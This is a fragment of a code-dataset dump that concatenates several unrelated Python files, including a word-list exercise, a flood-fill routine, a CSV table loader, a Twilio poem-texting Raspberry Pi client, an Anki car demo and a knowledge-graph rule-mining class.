helper.check_availability())\n","sub_path":"watcher/tests/decision_engine/datasources/test_ceilometer_helper.py","file_name":"test_ceilometer_helper.py","file_ext":"py","file_size_in_byte":7371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"335422617","text":"# fin = open('words.txt')\n# line = fin.readline()\n# print(repr(line))\n\n\n# fin = open('words.txt')\n# for line in fin:\n# word = line.strip()\n# print(word)\n\ndef find_long_words():\n \"\"\"\n prints only the words with more than 20 characters\n \"\"\"\n fin = open('words.txt')\n for line in fin:\n word = line.strip()\n if len(word) > 20:\n print(word, len(word))\n\n# find_long_words()\n\ndef has_no_e(word):\n \"\"\"\n returns True if the given word doesn’t have the letter “e” in it\n \"\"\"\n for letter in word:\n if letter.lower() == 'e':\n return False\n return True\n # return not 'e' in word.lower()\n\n# print(has_no_e('Babson'))\n# print(has_no_e('College'))\n# print(has_no_e('EA'))\n\ndef find_words_no_e():\n fin = open('words.txt')\n counter_no_e = 0\n counter_total = 0\n for line in fin:\n counter_total +=1\n word = line.strip()\n if has_no_e(word):\n # print(word)\n counter_no_e += 1\n return counter_no_e/counter_total\n\n# print('The percentage of the words with no \"e\" is {:.2f}%.'.format(find_words_no_e()*100))\n\ndef avoids(word, forbidden):\n for letter in word:\n if letter in forbidden:\n return False\n return True\n\n# print(avoids('Babson', 'e'))\n# print(avoids('College', 'e'))\n\ndef find_words_no_vowels():\n fin = open('words.txt')\n counter_no_vowel = 0\n counter_total = 0\n for line in fin:\n counter_total +=1\n word = line.strip()\n if avoids(word, 'aeiouy'):\n print(word)\n counter_no_vowel += 1\n return counter_no_vowel/counter_total\n\nprint('The percentage of the words with vowel letters is {:.2f}%.'.format(find_words_no_vowels()*100))\n\n\ndef uses_only(word, available):\n \"\"\"\n takes a word and a string of letters, and that returns True if the word\n contains only letters in the list.\n \"\"\"\n for letter in word:\n if letter not in available:\n return False\n return True\n\nprint(uses_only('Babson', 'aBbsonxyz'))\nprint(uses_only('college', 'aBbsonxyz'))\n\n\ndef uses_all(word, required):\n \"\"\"\n takes a word and a string of required letters, and that returns True if\n the word uses all the required letters at least once.\n \"\"\"\n # for letter in required:\n # if letter not in word:\n # return False\n # return True\n return uses_only(required, word)\n\nprint(uses_all('Babson', 'abs'))\nprint(uses_all('college', 'abs'))\n\n\ndef is_abecedarian(word):\n \"\"\"\n returns True if the letters in a word appear in alphabetical order\n (double letters are ok).\n \"\"\"\n before = word[0]\n for letter in word:\n if letter < before:\n return False\n before = letter\n return True\n\nprint(is_abecedarian('abs'))\nprint(is_abecedarian('college'))\n","sub_path":"session09/word.py","file_name":"word.py","file_ext":"py","file_size_in_byte":2828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"74526855","text":"# -*- coding: utf-8 -*-\nimport sqlalchemy\n\nclass SQLAlchemy(object):\n _engines = {}\n\n def init(self, config):\n self.config = config\n\n def get_engine(self, bind='default'):\n if bind in self._engines:\n return self._engines[bind]\n\n e = sqlalchemy.create_engine(\n self.config['sqlalchemy'].get(bind),\n echo=self.config['sqlalchemy_echo']\n )\n self._engines[bind] = e\n return self._engines[bind]\n\ndb = SQLAlchemy()\n","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"654345721","text":"def processImage(matrix, x, y, k):\n chnageAdjacentPixel(matrix, x, y, k)\ndef chnageAdjacentPixel(matrix, x, y, k):\n currentValue = matrix[x][y]\n matrix[x][y] = k\n if y + 1 < len(matrix[x]) and matrix[x][y + 1] == currentValue:\n chnageAdjacentPixel(matrix, x, y + 1, k)\n if y - 1 >= 0 and matrix[x][y - 1] == currentValue:\n chnageAdjacentPixel(matrix, x, y - 1, k)\n if x + 1 < len(matrix) and matrix[x + 1][y] == currentValue:\n chnageAdjacentPixel(matrix, x + 1, y, k)\n if x - 1 >= 0 and matrix[x - 1][y] == currentValue:\n chnageAdjacentPixel(matrix, x - 1, y, k)\n\n\ndef printMatrix(matrix):\n for row in matrix:\n print((\" {} \"*len(row)).format(*[col for col in row]))\n\nmatrix = [[1, 1, 1, 1, 1, 1, 1, 1],\n [1, 1, 1, 1, 1, 1, 2, 0],\n [1, 0, 0, 1, 1, 2, 1, 1],\n [1, 2, 2, 2, 2, 0, 1, 0],\n [1, 1, 1, 2, 2, 0, 1, 0],\n [1, 1, 1, 2, 2, 2, 2, 0],\n [1, 1, 1, 1, 1, 2, 1, 1],\n [1, 1, 1, 1, 1, 2, 2, 1]];\nprintMatrix(matrix)\nprint(\"-\"*50)\nprocessImage(matrix, 4, 4, 3)\nprintMatrix(matrix)","sub_path":"CodeingQuestions/CodeingQuestions/chnageAdjacentPixel.py","file_name":"chnageAdjacentPixel.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"130231630","text":"from math import sqrt\nn=int(input(\"digite n: \"))\nv1=0\nv2=1\ni=0 #indice\nsoma=0\nif(n==1):\n\tprint(sqrt(12))\nelse:\n\twhile(i\n\"\"\"\n\n\nfrom __future__ import absolute_import\nimport csv\n\nimport dataproperty\nimport path\nimport six\n\nfrom ..interface import TableLoader\nfrom .formatter import CsvTableFormatter\n\n\nclass CsvTableLoader(TableLoader):\n \"\"\"\n Abstract class of CSV table loader.\n\n .. py:attribute:: header_list\n\n Attribute names of the table. Use the first line of\n the csv file as attribute list if header_list is empty.\n\n .. py:attribute:: delimiter\n\n A one-character string used to separate fields.\n Defaults to ``\",\"``.\n\n .. py:attribute:: quotechar\n\n A one-character string used to quote fields containing\n special characters, such as the ``delimiter`` or ``quotechar``,\n or which contain new-line characters.\n Defaults to ``'\"'``.\n\n .. py:attribute:: encoding\n\n Encoding of the CSV data.\n \"\"\"\n\n def __init__(self, source):\n super(CsvTableLoader, self).__init__(source)\n\n self._csv_reader = None\n\n self.header_list = ()\n self.delimiter = \",\"\n self.quotechar = '\"'\n self.encoding = \"utf-8\"\n\n def _to_data_matrix(self):\n from dataproperty.type import FloatTypeChecker\n\n return [\n [\n six.b(data).decode(self.encoding, \"ignore\")\n if not FloatTypeChecker(data).is_type() else data\n for data in row\n ]\n for row in self._csv_reader\n ]\n\n\nclass CsvTableFileLoader(CsvTableLoader):\n \"\"\"\n Concrete class of CSV file loader.\n\n .. py:attribute:: table_name\n\n Table name string. Defaults to ``%(filename)s``.\n \"\"\"\n\n def __init__(self, file_path=None):\n super(CsvTableFileLoader, self).__init__(file_path)\n self.table_name = \"%(filename)s\"\n\n def make_table_name(self):\n \"\"\"\n |make_table_name|\n\n ================ ===========================\n format specifier value after the replacement\n ================ ===========================\n ``%(filename)s`` filename\n ================ ===========================\n\n :return: Table name.\n :rtype: str\n \"\"\"\n\n self._validate()\n\n return self.table_name.replace(\n \"%(filename)s\", path.Path(self.source).namebase)\n\n def load(self):\n \"\"\"\n Load table data from a CSV file.\n\n :return:\n Loaded table data.\n Table name is determined by\n :py:meth:`~.CsvTableFileLoader.make_table_name`.\n :rtype: iterator of |TableData|\n :raises InvalidDataError: If the CSV data is invalid.\n\n .. seealso:: :py:func:`csv.reader`\n \"\"\"\n\n self._validate()\n\n self._csv_reader = csv.reader(\n open(self.source, \"r\"),\n delimiter=self.delimiter, quotechar=self.quotechar)\n formatter = CsvTableFormatter(self._to_data_matrix())\n formatter.accept(self)\n\n return formatter.to_table_data()\n\n\nclass CsvTableTextLoader(CsvTableLoader):\n \"\"\"\n Concrete class of CSV text loader.\n \"\"\"\n\n def __init__(self, text):\n super(CsvTableTextLoader, self).__init__(text)\n\n def load(self):\n \"\"\"\n Load table data from a CSV text.\n\n :return: Loaded table data.\n :rtype: iterator of |TableData|\n :raises InvalidDataError: If the CSV data is invalid.\n\n .. seealso:: :py:func:`csv.reader`\n \"\"\"\n\n self._validate()\n\n self._csv_reader = csv.reader(\n six.StringIO(self.source.strip()),\n delimiter=self.delimiter, quotechar=self.quotechar)\n formatter = CsvTableFormatter(self._to_data_matrix())\n formatter.accept(self)\n\n return formatter.to_table_data()\n","sub_path":"simplesqlite/loader/csv/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":3835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"85054989","text":"import pyspark\nimport argparse\nfrom gps_spark_logic import GpsSparkLogic\n\n# attempt to read input args from spark-submit job\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--testfile\", help=\"the full path and name to a test file\")\nargs = parser.parse_args()\n\nfileNameAndPath = \"OOOOPS NOT SET\";\nif args.testfile:\n fileNameAndPath = args.testfile\n \ngsl = GpsSparkLogic()\ngsl.init_spark(\"\") #should default to whatever is in env on spark cluster....I think\n#gsl.read_data()\n#gsl.show_df_stats()\ngsl.save_test_s3_file(\"s3://69-72-69-73-iris/emr_test_output/\")\n#gsl.save_test_s3_file()\n\n","sub_path":"spark/notebooks/.ipynb_checkpoints/PythonMain-checkpoint.py","file_name":"PythonMain-checkpoint.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"383143349","text":"#! /usr/bin/env python3\nfrom input_manager import InputManager, InputThread\nfrom screen_manager import ScreenManager, ScreenThread\nfrom button_manager import ButtonManager\nfrom twilio.rest import Client\nimport boto3\nimport requests\nimport configparser\nimport re\nimport os\nimport configuration\nimport sys\n# read in user configurations\nuser_config = configparser.ConfigParser()\nuser_config.read(getcwd() + '/pox.ini')\n\n# URL for Poem Server\npoem_server = configuration.get_server(user_config) \nprint(poem_server)\n# Create an Twilio client\ntwilio_client = Client(configuration.get_account_sid(user_config), configuration.get_auth_token(user_config))\n\ninputs = InputManager('/dev/ttyACM0', 9600)\n\ndials = configuration.get_dial_values(user_config)\ndialPins = configuration.get_pins(user_config)\n\ncounter = 0\nprint(dialPins)\nprint(dials)\n\nfor dial in sorted(dials.items()):\n print(dial[0])\n inputs.add_input(dialPins[counter], list(dials[dial[0]]), dial[0], 1024)\n counter += 1\n\nbutton = ButtonManager(go_pin=18, reset_pin=23, go_ahead_light=12, stop_light=17, reset_time=0, go_sound='/home/pi/pox/client/go.wav', reset_sound='/home/pi/pox/client/reset.wav')\nscreen = ScreenManager(\"Enter Phone #\\nand Pull Lever\")\n# Create new threads\nthread1 = InputThread(1, \"Input Manager Thread\", 1, inputs)\n#thread2 = ScreenThread(2, \"Screen Manager Thread\", ScreenManager())\n\n# Start new Threads\nthread1.start()\n#thread2.start()\nif len(sys.argv) == 2 and sys.argv[1] == 'debug':\n while(1):\n print(thread1.get_readings())\n\nwhile (1):\n check = button.check()\n # Button hasn't been pressed and hasn't been reset\n if check == 0:\n pass\n # BUtton pressed!\n elif check == 1:\n number = screen.get_message()\n clean_number = '+1' + re.sub(\"[^0-9]\", \"\", number)\n print(clean_number)\n if len(clean_number) != 12:\n screen.clear_and_write(\"Unusable Phone #\")\n button.flash_leds(button.stop_light, 5, .05)\n else:\n readings = thread1.get_readings()\n try:\n r = requests.get(poem_server + '/poem', params=readings)\n except:\n screen.clear_and_write(\"Couldn't Connect\\nTo Poem Server\")\n button.flash_leds(button.stop_light, 5, .05)\n continue\n if r.status_code != 200:\n screen.clear_and_write(\"Bad Request Made\")\n button.flash_leds(button.stop_light, 5, .05)\n continue\n if r.headers['Content-Type'] != 'application/json':\n print(r.text)\n screen.clear_and_write(\"Failure to\\nFetch Poem\")\n button.flash_leds(button.stop_light, 5, .05)\n continue\n \n poem_json = r.json()\n matches = set(readings.items()) & set(poem_json.items())\n\n # Craft the message\n message = ''\n message += poem_json['title']\n message += '\\n'\n message += 'by ' + poem_json['author']\n message += '\\n'\n message += 'tags matched: '\n for attribute, tag in matches:\n message += tag + ' '\n message += '\\n============\\n'\n message += poem_json['text']\n message += '\\n============\\n'\n message += 'Audio: '\n message += poem_json['url']\n\n # Send your sms message.\n try:\n message_response = twilio_client.messages.create(to=clean_number, from_=\"+15173431475\", body=message)\n status_code = message_response.error_code\n if status_code is None:\n screen.clear_and_write(\"Message Sent\")\n button.flash_leds(button.go_ahead_light, 5, .05)\n else:\n screen.clear_and_write(\"Twilio Error\")\n button.flash_leds(button.stop_light, 5, .05)\n except Exception as e:\n screen.clear_and_write(\"Publish Error!\")\n print(str(e))\n\n\n\n \n\n # Button reset!\n elif check == 2:\n screen.clear_and_write(\"Enter Phone #\\nand Pull Lever\")\n \n\n","sub_path":"client/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"566275349","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.4 (3310)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /mounts/isilon/data/eahome/q804348/ea_code/STAR-SEQR/starseqr_utils/overhang_diversity.py\n# Compiled at: 2017-12-07 17:16:00\n# Size of source mod 2**32: 1173 bytes\nfrom __future__ import absolute_import, division, print_function\nimport os, logging, numpy as np, starseqr_utils as su\nlogger = logging.getLogger('STAR-SEQR')\n\ndef find_unique_overhangs(reads_fq):\n \"\"\"get unique overhang reads per sam flag\"\"\"\n rfq_gen = su.common.FastqParser(reads_fq)\n res_seqs = set()\n for rfq in rfq_gen:\n res_seqs.add(rfq.sequence)\n\n res_seq_len = [len(i) for i in res_seqs]\n all_min20 = np.sum(i > 20 for i in res_seq_len)\n all_min35 = np.sum(i > 35 for i in res_seq_len)\n return (len(res_seqs), all_min20, all_min35)\n\n\ndef get_diversity(jxn):\n clean_jxn = su.common.safe_jxn(jxn)\n jxn_dir = os.path.join('support', clean_jxn)\n overhang_fq = os.path.join(jxn_dir, 'overhang.fastq')\n overhang_res = find_unique_overhangs(overhang_fq)\n return overhang_res","sub_path":"pycfiles/starseqr-0.6.7.tar/overhang_diversity.cpython-34.py","file_name":"overhang_diversity.cpython-34.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"341306307","text":"#\r\n# This script allows the user to control multiple Anki cars\r\n# simultaneously using a single Python script\r\n#\r\n# Author: jstucken\r\n#\r\n\r\nSCRIPT_TITLE=\"Multiple Cars Example\"\r\n\r\n# import required modules\r\nimport loader.bootstrapper\r\nimport time\r\nfrom overdrive import Overdrive\r\n\r\n# Setup our cars\r\nnuke = Overdrive(12)\r\nmxt = Overdrive(11)\r\n\r\n# set the car speeds now\r\n# usage: car.changeSpeed(speed, accel)\r\nnuke.changeSpeed(600, 600)\r\nmxt.changeSpeed(270, 600)\r\n\r\ntime.sleep(5) # run for 5 seconds\r\n\r\n# stop the cars\r\nnuke.stopCar()\r\nmxt.stopCar()\r\n\r\n# disconnect from the cars (allows other students to use them)\r\n# their lights should change from blue to green signifying disconnected state\r\nnuke.disconnect()\r\nmxt.disconnect()\r\n\r\n\r\nquit()\r\n","sub_path":"student_files/multiple_cars.py","file_name":"multiple_cars.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"190617527","text":"import time\nimport numpy as np\nfrom scipy import sparse\nimport model_learn_weights as mlw\nimport itertools\nimport gc\nimport sys\n\n\nclass RSALW(object):\n def __int__(self):\n self.pt = None\n self.fact_dic_sample = None\n self.fact_dic_all = None\n self.ent_size_sample = None\n self.ent_size_all = None\n self.length = None\n self.isUncertian = False\n self._syn = None\n self._coocc = None\n self.P_i = None\n self.ptmatrix_part = None\n self.ptmatrix_full = None\n self.ptmatrix_sample = None\n\n @staticmethod\n def sim(para1, para2): # similarity of vector or matrix\n return np.e ** (-np.linalg.norm(para1 - para2, ord=2))\n\n @staticmethod\n def get_fact_dic_sample(facts_sample, isUncertian=False):\n # Only save once for the reverse pre.e.g. 0, 2, 4....\n fact_dic = {}\n for f in facts_sample:\n if f[2] % 2 == 0:\n if f[2] in fact_dic.keys():\n templist = fact_dic.get(f[2])\n else:\n templist = []\n templist.append([f[0], f[1]])\n fact_dic[f[2]] = templist\n return fact_dic\n\n @staticmethod\n def get_fact_dic_all(pre_sample, facts_all):\n # Only save once for the reverse pre.e.g. 0, 2, 4....\n # fact_dic: key: P_index_new , value: all_fact_list\n # pre_sample_index = np.array([[pre[0], pre[2]] for pre in pre_sample], dtype=np.int32)\n # old_index_p = pre_sample_index[:, 1]\n old_index_p = np.array([pre[2] for pre in pre_sample], dtype=np.int32)\n fact_dic = {}\n for f in facts_all:\n if f[2] in set(old_index_p):\n new_index = np.where(old_index_p == f[2])[0][0] # It must be even.\n # new_index = pre_sample_index[np.where(old_index_p == f[2])[0][0]][0]\n if new_index in fact_dic.keys():\n temp_list = fact_dic.get(new_index)\n else:\n temp_list = []\n temp_list.append([f[0], f[1]])\n fact_dic[new_index] = temp_list\n return fact_dic\n\n def is_repeated(self, M_index):\n for i in range(1, self.length):\n if M_index[i] < M_index[0]:\n return True\n return False\n\n def get_index_tuple(self):\n max_i = int((self.length + 1) / 2)\n a = [x for x in range(1, max_i + 1)]\n if self.length % 2 == 0: # even\n b = a.copy()\n else: # odd\n b = a.copy()\n b.pop()\n b.reverse()\n a.extend(b)\n P_cartprod_list = [self.P_i[i] for i in a]\n self.index_tuple_size = 1\n for item in P_cartprod_list:\n self.index_tuple_size = self.index_tuple_size * len(item)\n print(\"\\nindex_tuple_size: %d\" % self.index_tuple_size)\n self.index_tuple = itertools.product(*P_cartprod_list)\n\n def get_subandobj_dic_for_f2(self):\n # For predicates: 0, 2, 4, ... subdic, objdic\n # For predicates: 1, 3, 5, ... objdic, subdic\n objdic = {} # key:predicate value: set\n subdic = {} # key:predicate value: set\n # print(len(self.fact_dic_sample))\n for key in self.fact_dic_sample.keys():\n tempsub = set()\n tempobj = set()\n facts_list = self.fact_dic_sample.get(key)\n for f in facts_list:\n tempsub.add(f[0])\n tempobj.add(f[1])\n subdic[key] = tempsub\n objdic[key] = tempobj\n return subdic, objdic\n\n def score_function1(self, flag, score_top_container, relation): # synonymy!\n for index in self.index_tuple:\n M = [relation[i] for i in index]\n # print(M)\n if flag == 0: # matrix\n # array\n result = np.linalg.multi_dot(M)\n else: # vector\n if self.is_repeated(index):\n continue\n else:\n result = sum(M)\n top_values = score_top_container[:, self.length]\n value = self.sim(result, relation[self.pt])\n\n if value > np.min(top_values):\n replace_index = np.argmin(top_values)\n for i in range(self.length):\n score_top_container[replace_index][i] = index[i]\n score_top_container[replace_index][self.length] = value\n # print(score_top_container[replace_index])\n\n def score_function2(self, score_top_container, entity, sub_dic, obj_dic): # co-occurrence\n tt = time.time()\n # get the average vector of average predicate which is saved in the dictionary.\n average_vector = {}\n for key in sub_dic:\n # print(key)\n sub = sum([entity[item, :] for item in sub_dic[key]]) / len(sub_dic[key])\n obj = sum([entity[item, :] for item in obj_dic[key]]) / len(obj_dic[key])\n # For predicates: 0, 2, 4, ... [sub, obj]\n # For predicates: 1, 3, 5, ... [obj, sub]\n average_vector[key] = [sub, obj]\n average_vector[key + 1] = [obj, sub]\n # print(\"\\n the dic's size is equal to the predicates' number! \")\n # print(len(average_vector))\n f = 0\n for index in self.index_tuple:\n sys.stdout.write('\\rProgress: %d - %d ' % (f, self.index_tuple_size))\n sys.stdout.flush()\n f = f + 1\n para_sum = float(0)\n for i in range(self.length - 1):\n para_sum = para_sum + self.sim(average_vector.get(index[i])[1], average_vector.get(index[i + 1])[0])\n value = para_sum + self.sim(average_vector.get(index[0])[0], average_vector.get(self.pt)[0]) \\\n + self.sim(average_vector.get(index[self.length - 1])[1],\n average_vector.get(self.pt)[1])\n top_values = score_top_container[:, self.length]\n if value > np.min(top_values):\n replace_index = np.argmin(top_values)\n for i in range(self.length):\n score_top_container[replace_index][i] = index[i]\n score_top_container[replace_index][self.length] = value\n print(\"Time: %f.\" % (time.time()-tt))\n\n def getmatrix(self, p, isWhichKG):\n # sparse matrix\n re_flag = False\n if p % 2 == 1:\n p = p - 1\n re_flag = True\n # Pt: avoid cal it again.\n if p == self.pt:\n if isWhichKG == 0:\n if self.ptmatrix_sample != None:\n return self.ptmatrix_sample\n elif isWhichKG == 1:\n if self.ptmatrix_part != None:\n return self.ptmatrix_part\n elif isWhichKG == 2:\n if self.ptmatrix_full != None:\n return self.ptmatrix_full\n if isWhichKG == 0:\n pfacts = self.fact_dic_sample.get(p)\n pmatrix = sparse.dok_matrix((self.ent_size_sample, self.ent_size_sample), dtype=np.int8)\n if re_flag:\n for f in pfacts:\n pmatrix[f[1], f[0]] = 1\n else:\n for f in pfacts:\n pmatrix[f[0], f[1]] = 1\n elif isWhichKG == 1: # Evaluate on Pt's entity one-hot matrix.\n pfacts = self.fact_dic_all.get(p)\n ent_size = len(self.E_0)\n E_0_list = list(self.E_0)\n pmatrix = sparse.dok_matrix((ent_size, ent_size), dtype=np.int8)\n for f in pfacts:\n if f[0] in self.E_0 and f[1] in self.E_0:\n if re_flag:\n pmatrix[E_0_list.index(f[1]), E_0_list.index(f[0])] = 1\n else:\n pmatrix[E_0_list.index(f[0]), E_0_list.index(f[1])] = 1\n else:\n pfacts = self.fact_dic_all.get(p)\n pmatrix = sparse.dok_matrix((self.ent_size_all, self.ent_size_all), dtype=np.int8)\n if re_flag:\n for f in pfacts:\n pmatrix[f[1], f[0]] = 1\n else:\n for f in pfacts:\n pmatrix[f[0], f[1]] = 1\n return pmatrix\n\n def calSupportGreaterThanOne(self, pmatrix, isSampleKG):\n if isSampleKG:\n ptmatrix = self.ptmatrix_sample\n else:\n ptmatrix = self.ptmatrix_part\n supp = 0\n head = len(ptmatrix)\n body = len(pmatrix)\n if head == 0 or body == 0:\n return False\n if head < body:\n for key in ptmatrix.keys():\n if pmatrix.get(key) > 0:\n supp += 1\n return True\n if head >= body:\n for key in pmatrix.keys():\n if ptmatrix.get(key) == 1:\n supp += 1\n return True\n return False\n\n def calSCandHC_csr(self, pmatrix):\n print(\"\\n---------------csr---------------\\n\")\n # calculate New SC\n # supp_score = 0.0\n # body_score = 0.0\n ptmatrix = self.ptmatrix_full\n head = len(ptmatrix)\n body = pmatrix.nnz\n supp = 0\n if head == 0 or body == 0:\n return 0, 0\n row_compress = pmatrix.indptr\n col = pmatrix.indices\n # print(pmatrix.nnz)\n # print(sys.getsizeof(pmatrix))\n flag = 0\n for i in range(pmatrix.shape[0]):\n row_num = row_compress[i + 1] - row_compress[i]\n if row_num == 0:\n continue\n row_col = col[flag: flag + row_num]\n for j in range(row_num):\n if ptmatrix.get(tuple([i, row_col[j]])) == 1:\n supp = supp + 1\n flag += row_num\n # Judge by supp.\n if body == 0:\n SC = 0\n else:\n SC = supp / body\n if head == 0:\n HC = 0\n else:\n HC = supp / head\n return SC, HC\n\n def calSCandHC_dok(self, pmatrix):\n ptmatrix = self.ptmatrix_full\n head = len(ptmatrix)\n body = len(pmatrix)\n supp = 0\n # calculate New SC\n # supp_score = 0.0\n # body_score = 0.0\n if head == 0 or body == 0:\n return 0, 0\n if head < body:\n for key in ptmatrix.keys():\n if pmatrix.get(key) > 0:\n supp = supp + 1\n elif head >= body:\n for key in pmatrix.keys():\n if ptmatrix.get(key) == 1:\n supp = supp + 1\n # Judge by supp.\n if body == 0:\n SC = 0\n else:\n SC = supp / body\n if head == 0:\n HC = 0\n else:\n HC = supp / head\n return SC, HC\n\n def matrix_dot(self, index, isWhichKG): # 0:sample 1:part 2:fu;\n pmatrix = self.getmatrix(index[0], isWhichKG)\n for i in range(1, self.length):\n # Matrix distribution law\n pmatrix = pmatrix.dot(self.getmatrix(index[i], isWhichKG))\n if not gc.isenabled():\n gc.enable()\n gc.collect()\n gc.disable()\n return pmatrix\n\n def evaluate_and_filter(self, index, DEGREE, isfullKG):\n if not isfullKG:\n if len(self.E_0) <= 100000:\n # On part. (Priority)\n pmatrix = self.matrix_dot(index, 1)\n pmatrix = pmatrix.todok()\n if not self.calSupportGreaterThanOne(pmatrix, False):\n return 0, None\n else:\n # On sample.\n pmatrix = self.matrix_dot(index, 0)\n pmatrix = pmatrix.todok()\n if not self.calSupportGreaterThanOne(pmatrix, True):\n return 0, None\n # On full.\n pmatrix = self.matrix_dot(index, 2)\n # calculate the temp SC and HC\n if sys.getsizeof(pmatrix) > 10485760: # 10M\n # Type of pmatrix: csr_matrix!\n print(sys.getsizeof(pmatrix))\n print(\"Date size:\")\n print(\"pmatrix len:%d\" % pmatrix.nnz)\n if isfullKG:\n print(\"full:\")\n print(pmatrix.nnz / self.ent_size_all ** 2)\n else:\n print(pmatrix.nnz / self.ent_size_sample ** 2)\n print(\"\\n\")\n SC, HC = self.calSCandHC_csr(pmatrix)\n else:\n pmatrix = pmatrix.todok()\n # Type of pmatrix: dok_matrix!\n # print(\"Date size:\")\n # print(\"pmatrix len:%d\" % len(pmatrix))\n # if isfullKG:\n # print(\"full:\")\n # print(len(pmatrix) / self.ent_size_all ** 2)\n # else:\n # print(len(pmatrix) / self.ent_size_sample ** 2)\n # print(\"\\n\")\n SC, HC = self.calSCandHC_dok(pmatrix)\n degree = [SC, HC]\n # print(degree)\n if SC >= DEGREE[0] and HC >= DEGREE[1]:\n # 1: quality rule\n # 2: high quality rule\n print(\"\\n%s - HC:%s, SC:%s.\" % (str(index), str(HC), str(SC)))\n # print(\"The NEW Standard Confidence of this rule is \" + str(NSC))\n if SC >= DEGREE[2] and HC >= DEGREE[3]:\n print(\"WOW, a quality rule!\")\n return 2, degree\n return 1, degree\n return 0, None\n\n # def learn_weights(self, candidate):\n # # In the whole data set to learn the weights.\n # training_Iteration = 100\n # learning_Rate = 0.1\n # regularization_rate = 0.1\n # model = mlw.LearnModel()\n # # fact_dic_sample!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n # model.__int__(self.length, training_Iteration, learning_Rate, regularization_rate,\n # self.fact_dic_sample, self.ent_size_sample, candidate, self.pt, self.isUncertian)\n #\n # model.train()\n\n def search_and_evaluate(self, isUncertain, f, length, dimension, DEGREE, nowPredicate,\n ent_emb, rel_emb, _syn, _coocc, P_new_index_list, isfullKG,\n fact_dic_sample, fact_dic_all, ent_size_sample, ent_size_all, E_0):\n self.pt = nowPredicate[0]\n self.fact_dic_sample = fact_dic_sample\n self.fact_dic_all = fact_dic_all\n self.ent_size_sample = ent_size_sample\n self.ent_size_all = ent_size_all\n self.length = length\n self.isUncertian = isUncertain\n self._syn = _syn\n self._coocc = _coocc\n self.P_i = P_new_index_list\n self.E_0 = E_0\n print(\"Length = %d.\" % self.length)\n relsize = rel_emb.shape[0]\n if f == 0:\n rel_emb = np.reshape(rel_emb, [relsize, dimension, dimension])\n # print(relation.shape) # (-1, 100, 100) or (-1, 100)\n # print(entity.shape) # (-1, 100)\n\n # Score Function\n candidate = []\n all_candidate_set = [] # Eliminate duplicate indexes.\n\n if not gc.isenabled():\n gc.enable()\n del rel_emb\n gc.collect()\n gc.disable()\n\n # Get index tuple.\n self.get_index_tuple()\n\n # Calculate the f2.\n # top_candidate_size = int(_coocc * self.index_tuple_size)\n if self.index_tuple_size < _coocc:\n top_candidate_size = self.index_tuple_size\n else:\n top_candidate_size = _coocc\n score_top_container = np.zeros(shape=(top_candidate_size, self.length + 1), dtype=np.float)\n print(\"The number of COOCC Top Candidates is %d\" % top_candidate_size)\n subdic, objdic = self.get_subandobj_dic_for_f2()\n print(\"\\nBegin to calculate the f2: Co-occurrence\")\n self.score_function2(score_top_container, ent_emb, subdic, objdic)\n\n if not gc.isenabled():\n gc.enable()\n del ent_emb, subdic, objdic\n gc.collect()\n gc.disable()\n\n print(\"\\nPt matrix:\")\n if not isfullKG:\n if len(self.E_0) > 100000:\n self.ptmatrix_sample = self.getmatrix(self.pt, 0)\n print(\" Sample: len:%d size:%d\" % (len(self.ptmatrix_sample), sys.getsizeof(self.ptmatrix_sample)))\n else:\n self.ptmatrix_part = self.getmatrix(self.pt, 1)\n print(\" Part: len:%d size:%d\" % (len(self.ptmatrix_part), sys.getsizeof(self.ptmatrix_part)))\n self.ptmatrix_full = self.getmatrix(self.pt, 2)\n print(\" Full: len:%d size:%d\" % (len(self.ptmatrix_full), sys.getsizeof(self.ptmatrix_full)))\n\n print(\"\\nBegin to use coocc to filter: \")\n count = 0\n tt = time.time()\n for item in score_top_container:\n count += 1\n sys.stdout.write('\\rProgress: %d - %d ' % (count, top_candidate_size))\n sys.stdout.flush()\n index = [int(item[i]) for i in range(self.length)]\n if index not in all_candidate_set:\n result, degree = self.evaluate_and_filter(index, DEGREE, isfullKG)\n if result != 0:\n candidate.append([index, result, degree])\n all_candidate_set.append(index)\n print(\"Time:%f.\" % (time.time()-tt))\n if not gc.isenabled():\n gc.enable()\n del score_top_container\n gc.collect()\n gc.disable()\n\n '''\n # Calculate the f1.\n # top_candidate_size = int(_syn * self.index_tuple_size)\n if self.index_tuple_size < _syn:\n top_candidate_size = self.index_tuple_size\n else:\n top_candidate_size = _syn\n top_candidate_size = _syn\n score_top_container = np.zeros(shape=(top_candidate_size, self.length + 1), dtype=np.float)\n print(\"The number of SYN Top Candidates is %d\" % top_candidate_size)\n print(\"\\nBegin to calculate the f1: synonymy\")\n self.score_function1(f, score_top_container, rel_emb)\n # Method 1: Top ones until it reaches the 100th. OMIT!\n # Method 2: Use two matrices to catch rules.\n print(\"\\n Begin to use syn to filter: \")\n for item in score_top_container:\n index = [int(item[i]) for i in range(self.length)]\n if f == 0: # matrix\n result, degree = self.evaluate_and_filter(index, DEGREE)\n if result != 0 and index not in all_candidate_set:\n all_candidate_set.append(index)\n candidate.append([index, result, degree])\n elif f == 1: # vector\n # It needs to 